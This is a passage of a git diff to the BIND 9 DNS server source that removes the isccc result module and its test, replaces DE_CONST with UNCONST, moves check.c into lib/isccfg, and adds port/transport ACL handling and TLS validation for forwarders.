 
@@ -203,23 +206,3 @@
 		(r).rstart = (unsigned char *)s;   \
 		(r).rend = (r).rstart + strlen(s); \
 	} while (0)
-
-/*%
- * Use this to remove the const qualifier of a variable to assign it to
- * a non-const variable or pass it as a non-const function argument ...
- * but only when you are sure it won't then be changed!
- * This is necessary to sometimes shut up some compilers
- * (as with gcc -Wcast-qual) when there is just no other good way to avoid the
- * situation.
- */
-#define DE_CONST(konst, var)           \
-	do {                           \
-		union {                \
-			const void *k; \
-			void *	    v; \
-		} _u;                  \
-		_u.k = konst;          \
-		var = _u.v;            \
-	} while (0)
-
-#endif /* ISCCC_UTIL_H */
diff --git a/lib/isccc/result.c b/lib/isccc/result.c
deleted file mode 100644
index 9285435209..0000000000
--- a/lib/isccc/result.c
+++ /dev/null
@@ -1,85 +0,0 @@
-/*
- * Portions Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- *
- * Portions Copyright (C) 2001 Nominum, Inc.
- *
- * Permission to use, copy, modify, and/or distribute this software for any
- * purpose with or without fee is hereby granted, provided that the above
- * copyright notice and this permission notice appear in all copies.
- *
- * THE SOFTWARE IS PROVIDED "AS IS" AND ISC AND NOMINUM DISCLAIMS ALL
- * WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES
- * OF MERCHANTABILITY AND FITNESS.  IN NO EVENT SHALL ISC BE LIABLE FOR ANY
- * SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
- * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
- * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
- * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
- */
-
-/*! \file */
-
-#include <isc/once.h>
-#include <isc/util.h>
-
-#include <isccc/result.h>
-
-static const char *text[ISCCC_R_NRESULTS] = {
-	"unknown version", /* 1 */
-	"syntax error",	   /* 2 */
-	"bad auth",	   /* 3 */
-	"expired",	   /* 4 */
-	"clock skew",	   /* 5 */
-	"duplicate"	   /* 6 */
-};
-
-static const char *ids[ISCCC_R_NRESULTS] = {
-	"ISCCC_R_UNKNOWNVERSION", "ISCCC_R_SYNTAX",    "ISCCC_R_BADAUTH",
-	"ISCCC_R_EXPIRED",	  "ISCCC_R_CLOCKSKEW", "ISCCC_R_DUPLICATE",
-};
-
-#define ISCCC_RESULT_RESULTSET 2
-
-static isc_once_t once = ISC_ONCE_INIT;
-
-static void
-initialize_action(void) {
-	isc_result_t result;
-
-	result = isc_result_register(ISC_RESULTCLASS_ISCCC, ISCCC_R_NRESULTS,
-				     text, ISCCC_RESULT_RESULTSET);
-	if (result != ISC_R_SUCCESS) {
-		UNEXPECTED_ERROR(__FILE__, __LINE__,
-				 "isc_result_register() failed: %u", result);
-	}
-
-	result = isc_result_registerids(ISC_RESULTCLASS_ISCCC, ISCCC_R_NRESULTS,
-					ids, ISCCC_RESULT_RESULTSET);
-	if (result != ISC_R_SUCCESS) {
-		UNEXPECTED_ERROR(__FILE__, __LINE__,
-				 "isc_result_registerids() failed: %u", result);
-	}
-}
-
-static void
-initialize(void) {
-	RUNTIME_CHECK(isc_once_do(&once, initialize_action) == ISC_R_SUCCESS);
-}
-
-const char *
-isccc_result_totext(isc_result_t result) {
-	initialize();
-
-	return (isc_result_totext(result));
-}
-
-void
-isccc_result_register(void) {
-	initialize();
-}
diff --git a/lib/isccc/sexpr.c b/lib/isccc/sexpr.c
index dc5e2bc880..bfaacbf3a4 100644
--- a/lib/isccc/sexpr.c
+++ b/lib/isccc/sexpr.c
@@ -1,5 +1,7 @@
 /*
- * Portions Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0 AND ISC
  *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
@@ -7,8 +9,10 @@
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
- *
- * Portions Copyright (C) 2001 Nominum, Inc.
+ */
+
+/*
+ * Copyright (C) 2001 Nominum, Inc.
  *
  * Permission to use, copy, modify, and/or distribute this software for any
  * purpose with or without fee is hereby granted, provided that the above
@@ -31,7 +35,6 @@
 #include <string.h>
 
 #include <isc/assertions.h>
-#include <isc/print.h>
 
 #include <isccc/sexpr.h>
 #include <isccc/util.h>
@@ -207,8 +210,7 @@ isccc_sexpr_print(isccc_sexpr_t *sexpr, FILE *stream) {
 		}
 		break;
 	default:
-		INSIST(0);
-		ISC_UNREACHABLE();
+		UNREACHABLE();
 	}
 }
 
diff --git a/lib/isccc/symtab.c b/lib/isccc/symtab.c
index e305748add..c6757c7f68 100644
--- a/lib/isccc/symtab.c
+++ b/lib/isccc/symtab.c
@@ -1,5 +1,7 @@
 /*
- * Portions Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0 AND ISC
  *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
@@ -7,8 +9,10 @@
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
- *
- * Portions Copyright (C) 2001 Nominum, Inc.
+ */
+
+/*
+ * Copyright (C) 2001 Nominum, Inc.
  *
  * Permission to use, copy, modify, and/or distribute this software for any
  * purpose with or without fee is hereby granted, provided that the above
@@ -25,15 +29,15 @@
 
 /*! \file */
 
-#include <ctype.h>
 #include <stdbool.h>
 #include <stdlib.h>
 
+#include <isc/ascii.h>
 #include <isc/assertions.h>
 #include <isc/magic.h>
+#include <isc/result.h>
 #include <isc/string.h>
 
-#include <isccc/result.h>
 #include <isccc/symtab.h>
 #include <isccc/util.h>
 
@@ -73,7 +77,7 @@ isccc_symtab_create(unsigned int size,
 	if (symtab == NULL) {
 		return (ISC_R_NOMEMORY);
 	}
-	symtab->table = malloc(size * sizeof(eltlist_t));
+	symtab->table = calloc(size, sizeof(eltlist_t));
 	if (symtab->table == NULL) {
 		free(symtab);
 		return (ISC_R_NOMEMORY);
@@ -92,7 +96,7 @@ isccc_symtab_create(unsigned int size,
 	return (ISC_R_SUCCESS);
 }
 
-static inline void
+static void
 free_elt(isccc_symtab_t *symtab, unsigned int bucket, elt_t *elt) {
 	ISC_LIST_UNLINK(symtab->table[bucket], elt, link);
 	if (symtab->undefine_action != NULL) {
@@ -115,7 +119,8 @@ isccc_symtab_destroy(isccc_symtab_t **symtabp) {
 
 	for (i = 0; i < symtab->size; i++) {
 		for (elt = ISC_LIST_HEAD(symtab->table[i]); elt != NULL;
-		     elt = nelt) {
+		     elt = nelt)
+		{
 			nelt = ISC_LIST_NEXT(elt, link);
 			free_elt(symtab, i, elt);
 		}
@@ -125,12 +130,11 @@ isccc_symtab_destroy(isccc_symtab_t **symtabp) {
 	free(symtab);
 }
 
-static inline unsigned int
+static unsigned int
 hash(const char *key, bool case_sensitive) {
 	const char *s;
 	unsigned int h = 0;
 	unsigned int g;
-	int c;
 
 	/*
 	 * P. J. Weinberger's hash function, adapted from p. 436 of
@@ -148,9 +152,7 @@ hash(const char *key, bool case_sensitive) {
 		}
 	} else {
 		for (s = key; *s != '\0'; s++) {
-			c = *s;
-			c = tolower((unsigned char)c);
-			h = (h << 4) + c;
+			h = (h << 4) + isc_ascii_tolower(*s);
 			if ((g = (h & 0xf0000000)) != 0) {
 				h = h ^ (g >> 24);
 				h = h ^ g;
@@ -165,14 +167,16 @@ hash(const char *key, bool case_sensitive) {
 	b = hash((k), (s)->case_sensitive) % (s)->size;           \
 	if ((s)->case_sensitive) {                                \
 		for (e = ISC_LIST_HEAD((s)->table[b]); e != NULL; \
-		     e = ISC_LIST_NEXT(e, link)) {                \
+		     e = ISC_LIST_NEXT(e, link))                  \
+		{                                                 \
 			if (((t) == 0 || e->type == (t)) &&       \
 			    strcmp(e->key, (k)) == 0)             \
 				break;                            \
 		}                                                 \
 	} else {                                                  \
 		for (e = ISC_LIST_HEAD((s)->table[b]); e != NULL; \
-		     e = ISC_LIST_NEXT(e, link)) {                \
+		     e = ISC_LIST_NEXT(e, link))                  \
+		{                                                 \
 			if (((t) == 0 || e->type == (t)) &&       \
 			    strcasecmp(e->key, (k)) == 0)         \
 				break;                            \
@@ -194,9 +198,7 @@ isccc_symtab_lookup(isccc_symtab_t *symtab, const char *key, unsigned int type,
 		return (ISC_R_NOTFOUND);
 	}
 
-	if (value != NULL) {
-		*value = elt->value;
-	}
+	SET_IF_NOT_NULL(value, elt->value);
 
 	return (ISC_R_SUCCESS);
 }
@@ -275,7 +277,8 @@ isccc_symtab_foreach(isccc_symtab_t *symtab, isccc_symtabforeachaction_t action,
 
 	for (i = 0; i < symtab->size; i++) {
 		for (elt = ISC_LIST_HEAD(symtab->table[i]); elt != NULL;
-		     elt = nelt) {
+		     elt = nelt)
+		{
 			nelt = ISC_LIST_NEXT(elt, link);
 			if ((action)(elt->key, elt->type, elt->value, arg)) {
 				free_elt(symtab, i, elt);
diff --git a/lib/isccc/tests/Makefile.am b/lib/isccc/tests/Makefile.am
deleted file mode 100644
index 048f2a9f0f..0000000000
--- a/lib/isccc/tests/Makefile.am
+++ /dev/null
@@ -1,19 +0,0 @@
-include $(top_srcdir)/Makefile.top
-include $(top_srcdir)/Makefile.tests
-
-AM_CPPFLAGS +=			\
-	$(LIBISC_CFLAGS)	\
-	$(LIBISCCC_CFLAGS)
-
-LDADD +=			\
-	$(LIBISC_LIBS)		\
-	$(LIBISCCC_LIBS)
-
-check_PROGRAMS =	\
-	result_test
-
-TESTS = $(check_PROGRAMS)
-
-unit-local: check
-
-LOG_COMPILER = $(builddir)/../../unit-test-driver.sh
diff --git a/lib/isccc/tests/result_test.c b/lib/isccc/tests/result_test.c
deleted file mode 100644
index 341088a04b..0000000000
--- a/lib/isccc/tests/result_test.c
+++ /dev/null
@@ -1,82 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-#if HAVE_CMOCKA
-
-#include <setjmp.h>
-#include <stdarg.h>
-#include <stddef.h>
-#include <stdlib.h>
-#include <string.h>
-
-#define UNIT_TESTING
-#include <cmocka.h>
-
-#include <isc/result.h>
-#include <isc/util.h>
-
-#include <isccc/result.h>
-
-/*
- * Check tables are populated.
- */
-static void
-tables(void **state) {
-	const char *str;
-	isc_result_t result;
-
-	UNUSED(state);
-
-	isccc_result_register();
-
-	for (result = ISC_RESULTCLASS_ISCCC;
-	     result < (ISC_RESULTCLASS_ISCCC + ISCCC_R_NRESULTS); result++)
-	{
-		str = isc_result_toid(result);
-		assert_non_null(str);
-		assert_string_not_equal(str, "(result code text not "
-					     "available)");
-
-		str = isc_result_totext(result);
-		assert_non_null(str);
-		assert_string_not_equal(str, "(result code text not "
-					     "available)");
-	}
-
-	str = isc_result_toid(result);
-	assert_non_null(str);
-	assert_string_equal(str, "(result code text not available)");
-
-	str = isc_result_totext(result);
-	assert_non_null(str);
-	assert_string_equal(str, "(result code text not available)");
-}
-
-int
-main(void) {
-	const struct CMUnitTest tests[] = {
-		cmocka_unit_test(tables),
-	};
-
-	return (cmocka_run_group_tests(tests, NULL, NULL));
-}
-
-#else /* HAVE_CMOCKA */
-
-#include <stdio.h>
-
-int
-main(void) {
-	printf("1..0 # Skipped: cmocka not available\n");
-	return (SKIPPED_TEST_EXIT_CODE);
-}
-
-#endif /* if HAVE_CMOCKA */
diff --git a/lib/isccfg/Makefile.am b/lib/isccfg/Makefile.am
index 3205e3b93b..2b1f27e3dd 100644
--- a/lib/isccfg/Makefile.am
+++ b/lib/isccfg/Makefile.am
@@ -6,6 +6,8 @@ libisccfg_ladir = $(includedir)/isccfg
 libisccfg_la_HEADERS =			\
 	include/isccfg/aclconf.h	\
 	include/isccfg/cfg.h		\
+	include/isccfg/check.h		\
+	include/isccfg/duration.h	\
 	include/isccfg/grammar.h	\
 	include/isccfg/kaspconf.h	\
 	include/isccfg/log.h		\
@@ -14,7 +16,9 @@ libisccfg_la_HEADERS =			\
 libisccfg_la_SOURCES =			\
 	$(libisccfg_la_HEADERS)		\
 	aclconf.c			\
+	check.c				\
 	dnsconf.c			\
+	duration.c			\
 	kaspconf.c			\
 	log.c				\
 	namedconf.c			\
@@ -24,16 +28,20 @@ libisccfg_la_CPPFLAGS =			\
 	$(AM_CPPFLAGS)			\
 	$(LIBISCCFG_CFLAGS)		\
 	$(LIBISC_CFLAGS)		\
-	$(LIBDNS_CFLAGS)
+	$(LIBDNS_CFLAGS)		\
+	$(LIBNS_CFLAGS)			\
+	$(OPENSSL_CFLAGS)
 
 libisccfg_la_LIBADD =	\
 	$(LIBDNS_LIBS)	\
-	$(LIBISC_LIBS)
+	$(LIBISC_LIBS)	\
+	$(LIBNS_LIBS)	\
+	$(OPENSSL_LIBS)
 
 libisccfg_la_LDFLAGS =		\
 	$(AM_LDFLAGS)		\
 	-release "$(PACKAGE_VERSION)"
 
-if HAVE_CMOCKA
-SUBDIRS = tests
+if HAVE_DNSTAP
+libisccfg_la_CPPFLAGS += $(DNSTAP_CFLAGS)
 endif
diff --git a/lib/isccfg/aclconf.c b/lib/isccfg/aclconf.c
index f748199b74..6db68b8271 100644
--- a/lib/isccfg/aclconf.c
+++ b/lib/isccfg/aclconf.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -14,8 +16,7 @@
 #include <stdlib.h>
 
 #include <isc/mem.h>
-#include <isc/print.h>
-#include <isc/string.h> /* Required for HP/UX (and others?) */
+#include <isc/string.h>
 #include <isc/util.h>
 
 #include <dns/acl.h>
@@ -76,7 +77,8 @@ cfg_aclconfctx_detach(cfg_aclconfctx_t **actxp) {
 		dns_acl_t *dacl, *next;
 		isc_refcount_destroy(&actx->references);
 		for (dacl = ISC_LIST_HEAD(actx->named_acl_cache); dacl != NULL;
-		     dacl = next) {
+		     dacl = next)
+		{
 			next = ISC_LIST_NEXT(dacl, nextincache);
 			ISC_LIST_UNLINK(actx->named_acl_cache, dacl,
 					nextincache);
@@ -128,8 +130,6 @@ convert_named_acl(const cfg_obj_t *nameobj, const cfg_obj_t *cctx,
 	for (dacl = ISC_LIST_HEAD(ctx->named_acl_cache); dacl != NULL;
 	     dacl = ISC_LIST_NEXT(dacl, nextincache))
 	{
-		/* cppcheck-suppress nullPointerRedundantCheck symbolName=dacl
-		 */
 		if (strcasecmp(aclname, dacl->name) == 0) {
 			if (ISC_MAGIC_VALID(dacl, LOOP_MAGIC)) {
 				cfg_obj_log(nameobj, lctx, ISC_LOG_ERROR,
@@ -152,7 +152,7 @@ convert_named_acl(const cfg_obj_t *nameobj, const cfg_obj_t *cctx,
 	 */
 	memset(&loop, 0, sizeof(loop));
 	ISC_LINK_INIT(&loop, nextincache);
-	DE_CONST(aclname, loop.name);
+	loop.name = UNCONST(aclname);
 	loop.magic = LOOP_MAGIC;
 	ISC_LIST_APPEND(ctx->named_acl_cache, &loop, nextincache);
 	result = cfg_acl_fromconfig(cacl, cctx, lctx, ctx, mctx, nest_level,
@@ -246,7 +246,8 @@ count_acl_elements(const cfg_obj_t *caml, const cfg_obj_t *cctx,
 			}
 #if defined(HAVE_GEOIP2)
 		} else if (cfg_obj_istuple(ce) &&
-			   cfg_obj_isvoid(cfg_tuple_get(ce, "negated"))) {
+			   cfg_obj_isvoid(cfg_tuple_get(ce, "negated")))
+		{
 			n++;
 #endif /* HAVE_GEOIP2 */
 		} else if (cfg_obj_isstring(ce)) {
@@ -399,8 +400,7 @@ get_subtype(const cfg_obj_t *obj, isc_log_t *lctx, dns_geoip_subtype_t subtype,
 		}
 		return (subtype);
 	default:
-		INSIST(0);
-		ISC_UNREACHABLE();
+		UNREACHABLE();
 	}
 }
 
@@ -426,8 +426,8 @@ geoip_can_answer(dns_aclelement_t *elt, cfg_aclconfctx_t *ctx) {
 		if (ctx->geoip->country != NULL) {
 			return (true);
 		}
-	/* city db can answer these too, so: */
-	/* FALLTHROUGH */
+		/* city db can answer these too, so: */
+		FALLTHROUGH;
 	case dns_geoip_region:
 	case dns_geoip_regionname:
 	case dns_geoip_city_countrycode:
@@ -574,7 +574,8 @@ parse_geoip_element(const cfg_obj_t *obj, isc_log_t *lctx,
 		subtype = dns_geoip_city_metrocode;
 		de.geoip_elem.as_int = atoi(search);
 	} else if (strcasecmp(stype, "tz") == 0 ||
-		   strcasecmp(stype, "timezone") == 0) {
+		   strcasecmp(stype, "timezone") == 0)
+	{
 		subtype = dns_geoip_city_timezonecode;
 		strlcpy(de.geoip_elem.as_string, search,
 			sizeof(de.geoip_elem.as_string));
@@ -619,18 +620,9 @@ parse_geoip_element(const cfg_obj_t *obj, isc_log_t *lctx,
 #endif /* HAVE_GEOIP2 */
 
 isc_result_t
-cfg_acl_fromconfig(const cfg_obj_t *caml, const cfg_obj_t *cctx,
+cfg_acl_fromconfig(const cfg_obj_t *acl_data, const cfg_obj_t *cctx,
 		   isc_log_t *lctx, cfg_aclconfctx_t *ctx, isc_mem_t *mctx,
 		   unsigned int nest_level, dns_acl_t **target) {
-	return (cfg_acl_fromconfig2(caml, cctx, lctx, ctx, mctx, nest_level, 0,
-				    target));
-}
-
-isc_result_t
-cfg_acl_fromconfig2(const cfg_obj_t *caml, const cfg_obj_t *cctx,
-		    isc_log_t *lctx, cfg_aclconfctx_t *ctx, isc_mem_t *mctx,
-		    unsigned int nest_level, uint16_t family,
-		    dns_acl_t **target) {
 	isc_result_t result;
 	dns_acl_t *dacl = NULL, *inneracl = NULL;
 	dns_aclelement_t *de;
@@ -638,6 +630,10 @@ cfg_acl_fromconfig2(const cfg_obj_t *caml, const cfg_obj_t *cctx,
 	dns_iptable_t *iptab;
 	int new_nest_level = 0;
 	bool setpos;
+	const cfg_obj_t *caml = NULL;
+	const cfg_obj_t *obj_acl_tuple = NULL;
+	const cfg_obj_t *obj_port = NULL, *obj_transport = NULL;
+	bool is_tuple = false;
 
 	if (nest_level != 0) {
 		new_nest_level = nest_level - 1;
@@ -647,6 +643,20 @@ cfg_acl_fromconfig2(const cfg_obj_t *caml, const cfg_obj_t *cctx,
 	REQUIRE(target != NULL);
 	REQUIRE(*target == NULL || DNS_ACL_VALID(*target));
 
+	REQUIRE(acl_data != NULL);
+	if (cfg_obj_islist(acl_data)) {
+		caml = acl_data;
+	} else {
+		INSIST(cfg_obj_istuple(acl_data));
+		caml = cfg_tuple_get(acl_data, "aml");
+		INSIST(caml != NULL);
+		obj_acl_tuple = cfg_tuple_get(acl_data, "port-transport");
+		INSIST(obj_acl_tuple != NULL);
+		obj_port = cfg_tuple_get(obj_acl_tuple, "port");
+		obj_transport = cfg_tuple_get(obj_acl_tuple, "transport");
+		is_tuple = true;
+	}
+
 	if (*target != NULL) {
 		/*
 		 * If target already points to an ACL, then we're being
@@ -681,6 +691,60 @@ cfg_acl_fromconfig2(const cfg_obj_t *caml, const cfg_obj_t *cctx,
 		}
 	}
 
+	if (is_tuple) {
+		uint16_t port = 0;
+		uint32_t transports = 0;
+		bool encrypted = false;
+
+		if (obj_port != NULL && cfg_obj_isuint32(obj_port)) {
+			port = (uint16_t)cfg_obj_asuint32(obj_port);
+		}
+
+		if (obj_transport != NULL && cfg_obj_isstring(obj_transport)) {
+			if (strcasecmp(cfg_obj_asstring(obj_transport),
+				       "udp") == 0)
+			{
+				transports = isc_nm_udpsocket;
+				encrypted = false;
+			} else if (strcasecmp(cfg_obj_asstring(obj_transport),
+					      "tcp") == 0)
+			{
+				transports = isc_nm_streamdnssocket;
+				encrypted = false;
+			} else if (strcasecmp(cfg_obj_asstring(obj_transport),
+					      "udp-tcp") == 0)
+			{
+				/* Good ol' DNS over port 53 */
+				transports = isc_nm_streamdnssocket |
+					     isc_nm_udpsocket;
+				encrypted = false;
+			} else if (strcasecmp(cfg_obj_asstring(obj_transport),
+					      "tls") == 0)
+			{
+				transports = isc_nm_streamdnssocket;
+				encrypted = true;
+			} else if (strcasecmp(cfg_obj_asstring(obj_transport),
+					      "http") == 0)
+			{
+				transports = isc_nm_httpsocket;
+				encrypted = true;
+			} else if (strcasecmp(cfg_obj_asstring(obj_transport),
+					      "http-plain") == 0)
+			{
+				transports = isc_nm_httpsocket;
+				encrypted = false;
+			} else {
+				result = ISC_R_FAILURE;
+				goto cleanup;
+			}
+		}
+
+		if (port != 0 || transports != 0) {
+			dns_acl_add_port_transports(dacl, port, transports,
+						    encrypted, false);
+		}
+	}
+
 	de = dacl->elements;
 	for (elt = cfg_list_first(caml); elt != NULL; elt = cfg_list_next(elt))
 	{
@@ -722,18 +786,6 @@ cfg_acl_fromconfig2(const cfg_obj_t *caml, const cfg_obj_t *cctx,
 			unsigned int bitlen;
 
 			cfg_obj_asnetprefix(ce, &addr, &bitlen);
-			if (family != 0 && family != addr.family) {
-				char buf[ISC_NETADDR_FORMATSIZE + 1];
-				isc_netaddr_format(&addr, buf, sizeof(buf));
-				cfg_obj_log(ce, lctx, ISC_LOG_WARNING,
-					    "'%s': incorrect address family; "
-					    "ignoring",
-					    buf);
-				if (nest_level != 0) {
-					dns_acl_detach(&de->nestedacl);
-				}
-				continue;
-			}
 			result = isc_netaddr_prefixok(&addr, bitlen);
 			if (result != ISC_R_SUCCESS) {
 				char buf[ISC_NETADDR_FORMATSIZE + 1];
@@ -787,6 +839,12 @@ cfg_acl_fromconfig2(const cfg_obj_t *caml, const cfg_obj_t *cctx,
 				if (de->nestedacl != NULL) {
 					dns_acl_detach(&de->nestedacl);
 				}
+				/*
+				 * Merge the port-transports entries from the
+				 * nested ACL into its parent.
+				 */
+				dns_acl_merge_ports_transports(dacl, inneracl,
+							       !neg);
 				dns_acl_attach(inneracl, &de->nestedacl);
 				dns_acl_detach(&inneracl);
 				/* Fall through. */
@@ -811,7 +869,8 @@ cfg_acl_fromconfig2(const cfg_obj_t *caml, const cfg_obj_t *cctx,
 			}
 #if defined(HAVE_GEOIP2)
 		} else if (cfg_obj_istuple(ce) &&
-			   cfg_obj_isvoid(cfg_tuple_get(ce, "negated"))) {
+			   cfg_obj_isvoid(cfg_tuple_get(ce, "negated")))
+		{
 			INSIST(dacl->length < dacl->alloc);
 			result = parse_geoip_element(ce, lctx, ctx, de);
 			if (result != ISC_R_SUCCESS) {
@@ -904,7 +963,8 @@ cfg_acl_fromconfig2(const cfg_obj_t *caml, const cfg_obj_t *cctx,
 		 * nonzero (i.e., in sortlists).
 		 */
 		if (de->nestedacl != NULL &&
-		    de->type != dns_aclelementtype_nestedacl) {
+		    de->type != dns_aclelementtype_nestedacl)
+		{
 			dns_acl_detach(&de->nestedacl);
 		}
 
diff --git a/lib/bind9/check.c b/lib/isccfg/check.c
similarity index 80%
rename from lib/bind9/check.c
rename to lib/isccfg/check.c
index 2327af1e83..34b8634bff 100644
--- a/lib/bind9/check.c
+++ b/lib/isccfg/check.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -14,8 +16,11 @@
 #include <ctype.h>
 #include <inttypes.h>
 #include <stdbool.h>
+#include <stdint.h>
 #include <stdlib.h>
 
+#include <openssl/opensslv.h>
+
 #ifdef HAVE_DNSTAP
 #include <fstrm.h>
 #endif
@@ -23,6 +28,7 @@
 #include <isc/aes.h>
 #include <isc/base64.h>
 #include <isc/buffer.h>
+#include <isc/dir.h>
 #include <isc/file.h>
 #include <isc/hex.h>
 #include <isc/log.h>
@@ -30,8 +36,6 @@
 #include <isc/mem.h>
 #include <isc/netaddr.h>
 #include <isc/parseint.h>
-#include <isc/platform.h>
-#include <isc/print.h>
 #include <isc/region.h>
 #include <isc/result.h>
 #include <isc/siphash.h>
@@ -40,33 +44,32 @@
 #include <isc/symtab.h>
 #include <isc/util.h>
 
-#include <pk11/site.h>
-
 #include <dns/acl.h>
 #include <dns/dnstap.h>
 #include <dns/fixedname.h>
 #include <dns/kasp.h>
 #include <dns/keyvalues.h>
+#include <dns/peer.h>
 #include <dns/rbt.h>
 #include <dns/rdataclass.h>
 #include <dns/rdatatype.h>
-#include <dns/result.h>
+#include <dns/rpz.h>
 #include <dns/rrl.h>
 #include <dns/secalg.h>
 #include <dns/ssu.h>
 
 #include <dst/dst.h>
-#include <dst/result.h>
 
 #include <isccfg/aclconf.h>
 #include <isccfg/cfg.h>
+#include <isccfg/check.h>
 #include <isccfg/grammar.h>
 #include <isccfg/kaspconf.h>
 #include <isccfg/namedconf.h>
 
 #include <ns/hooks.h>
 
-#include <bind9/check.h>
+static in_port_t dnsport = 53;
 
 static isc_result_t
 fileexist(const cfg_obj_t *obj, isc_symtab_t *symtab, bool writeable,
@@ -75,6 +78,10 @@ fileexist(const cfg_obj_t *obj, isc_symtab_t *symtab, bool writeable,
 static isc_result_t
 keydirexist(const cfg_obj_t *zcgf, const char *dir, const char *kaspnamestr,
 	    isc_symtab_t *symtab, isc_log_t *logctx, isc_mem_t *mctx);
+
+static const cfg_obj_t *
+find_maplist(const cfg_obj_t *config, const char *listname, const char *name);
+
 static void
 freekey(char *key, unsigned int type, isc_symvalue_t value, void *userarg) {
 	UNUSED(type);
@@ -97,7 +104,7 @@ check_orderent(const cfg_obj_t *ent, isc_log_t *logctx) {
 	dns_fixedname_init(&fixed);
 	obj = cfg_tuple_get(ent, "class");
 	if (cfg_obj_isstring(obj)) {
-		DE_CONST(cfg_obj_asstring(obj), r.base);
+		r.base = UNCONST(cfg_obj_asstring(obj));
 		r.length = strlen(r.base);
 		tresult = dns_rdataclass_fromtext(&rdclass, &r);
 		if (tresult != ISC_R_SUCCESS) {
@@ -111,7 +118,7 @@ check_orderent(const cfg_obj_t *ent, isc_log_t *logctx) {
 
 	obj = cfg_tuple_get(ent, "type");
 	if (cfg_obj_isstring(obj)) {
-		DE_CONST(cfg_obj_asstring(obj), r.base);
+		r.base = UNCONST(cfg_obj_asstring(obj));
 		r.length = strlen(r.base);
 		tresult = dns_rdatatype_fromtext(&rdtype, &r);
 		if (tresult != ISC_R_SUCCESS) {
@@ -141,7 +148,8 @@ check_orderent(const cfg_obj_t *ent, isc_log_t *logctx) {
 
 	obj = cfg_tuple_get(ent, "order");
 	if (!cfg_obj_isstring(obj) ||
-	    strcasecmp("order", cfg_obj_asstring(obj)) != 0) {
+	    strcasecmp("order", cfg_obj_asstring(obj)) != 0)
+	{
 		cfg_obj_log(ent, logctx, ISC_LOG_ERROR,
 			    "rrset-order: keyword 'order' missing");
 		if (result == ISC_R_SUCCESS) {
@@ -266,10 +274,39 @@ check_dual_stack(const cfg_obj_t *options, isc_log_t *logctx) {
 }
 
 static isc_result_t
-check_forward(const cfg_obj_t *options, const cfg_obj_t *global,
-	      isc_log_t *logctx) {
+validate_tls(const cfg_obj_t *config, const cfg_obj_t *obj, isc_log_t *logctx,
+	     const char *str) {
+	dns_fixedname_t fname;
+	dns_name_t *nm = dns_fixedname_initname(&fname);
+	isc_result_t result = dns_name_fromstring(nm, str, dns_rootname, 0,
+						  NULL);
+
+	if (result != ISC_R_SUCCESS) {
+		cfg_obj_log(obj, logctx, ISC_LOG_ERROR,
+			    "'%s' is not a valid name", str);
+		return (result);
+	}
+
+	if (strcasecmp(str, "ephemeral") != 0) {
+		const cfg_obj_t *tlsmap = find_maplist(config, "tls", str);
+
+		if (tlsmap == NULL) {
+			cfg_obj_log(obj, logctx, ISC_LOG_ERROR,
+				    "tls '%s' is not defined", str);
+			return (ISC_R_FAILURE);
+		}
+	}
+
+	return (ISC_R_SUCCESS);
+}
+
+static isc_result_t
+check_forward(const cfg_obj_t *config, const cfg_obj_t *options,
+	      const cfg_obj_t *global, isc_log_t *logctx) {
 	const cfg_obj_t *forward = NULL;
 	const cfg_obj_t *forwarders = NULL;
+	const cfg_obj_t *faddresses = NULL;
+	const cfg_listelt_t *element;
 
 	(void)cfg_map_get(options, "forward", &forward);
 	(void)cfg_map_get(options, "forwarders", &forwarders);
@@ -288,6 +325,37 @@ check_forward(const cfg_obj_t *options, const cfg_obj_t *global,
 			    "no matching 'forwarders' statement");
 		return (ISC_R_FAILURE);
 	}
+	if (forwarders != NULL) {
+		isc_result_t result = ISC_R_SUCCESS;
+		const cfg_obj_t *tlspobj = cfg_tuple_get(forwarders, "tls");
+
+		if (tlspobj != NULL && cfg_obj_isstring(tlspobj)) {
+			const char *tls = cfg_obj_asstring(tlspobj);
+			if (tls != NULL) {
+				result = validate_tls(config, tlspobj, logctx,
+						      tls);
+				if (result != ISC_R_SUCCESS) {
+					return (result);
+				}
+			}
+		}
+
+		faddresses = cfg_tuple_get(forwarders, "addresses");
+		for (element = cfg_list_first(faddresses); element != NULL;
